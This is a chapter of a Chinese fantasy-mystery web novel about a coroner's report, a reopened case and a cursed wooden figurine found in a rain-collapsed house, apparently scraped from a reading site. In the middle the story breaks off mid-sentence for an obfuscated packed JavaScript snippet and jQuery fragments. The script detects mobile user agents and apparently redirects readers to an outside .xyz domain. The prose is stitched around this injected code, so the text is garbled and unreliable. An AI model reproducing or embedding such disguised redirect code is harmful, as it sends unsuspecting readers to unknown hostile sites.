8. 验状
   “我…小的知罪,小的不该自作主张。”

    白煜拿起一旁的笔,再次打断仵作,又问了一遍他的名字,换来仵作更为哆嗦的回答,他提笔记下,才道:“明日我会重新奏请,再查永生巷一案,你立了大功,明日为你讨个嘉赏,还请今后继续这般实事求是,不忘初心。”

    仵作激动得要喜极而泣,这才想起伍甯临走前还托他传一句话。

    “殿下,伍大人还托我传您句话。昨夜连上今日半天大雨不停,永生巷的那个危房彻底塌了。有位……似乎是姓钟,钟医师……”

    “她怎么了?”白煜那张平静的脸上终于皱起一双眉,仵作也补全下句话。

    “伍大人说她好像昨天后就没出来过。”

    钟灵踢了一脚满地的碎瓦,高低不平的地面上早就蓄积了数个水坑,扬起的瓦片落进去,又溅起更大的水花,与雨水一起回敬给了钟灵。

    多日没有回信的红豆宫今日来信了,宫主述华大言不惭地表示了自己沉眠了半年的事实,近日才将堆积如山的公务处理完,终于看到自己亲亲长尊来了一封信,于是立即提笔回复。

    “居然是公事,令人伤心,建议赔我一壶生生眠。二十四岛是吧,叫人去查了。”

    底下显然是才写的,墨迹都没干:缺了一张归元符,索□□给你解决了,记得与岛主知会一声,这个月俸禄给他扣掉了啊,什么也看不住。

    少了一张归元符,多半是阿婆的幼孙吧。凶手竟然把他带离了二十四岛,那看来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480532|185619||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    幼孙很可能还活着。

    毕竟若是要杀,归元符会随岛上生灵生命结束自动回归灭坤海,并不会算作缺失。

    雨一直下个不停,钟灵真的要考虑离岛看看是谁在布雨,实在是有点挑衅的意思了。阿婆的家塌了个彻底,她现在躲在一处危檐底下,寻思白煜提出的阿婆冒名顶替一事。她只能亲自查一下户籍问题,但现在白煜退出,她若想查,只能偷鸡摸狗了。

    “哗啦”一声,对面的危檐不堪重负,房顶积蓄的大泊雨水倾盆而下,将本就门户大开的衣冠冢彻底冲散,钟灵眼尖瞅见一样东西浮了起来,忙走过去想看。

    头顶的残败架梁还发出令人牙痒的咯吱声,身后突然响起急促的脚步声,钟灵弯腰探手在水洼里掏来掏去,终于抓到某样东西,手臂提前被一股力道抓住扬了起来,然后用力将她拉向一边。

    “嫌命太长可以去投军,战死沙场还能青史留名。”白煜冷着一张脸站在那里,却除了这张脸尽显狼狈,也不知从哪里赶过来的,被雨水浸成了一只凶巴巴的落汤鸡。

    “小兵小卒马革裹尸还,除了家里人还有谁记得?”钟灵不假思索地呛了一句,这才有空低头看她捡起来的东西,是个雕刻十分精致的木头女子人像。

    珠钗配饰齐全,五官栩栩如生,造价应该不便宜。但更值得注目的不是人像的做工,是一根贯穿其胸口直出后背的银针,银针下还固定着一张特制符纸。木头人像见了天光如同生了血肉,两行蚂蚁拖出来一般的血泪从漂亮的眉眼流出来,朱唇微张,露出无舌的空荡口腔。

    白煜伸手拿了过去,钟灵犹豫着抓紧,对方加大力道,直接抢了过去。

    “东垠国二皇

本章未完,请点击下一页继续阅读>>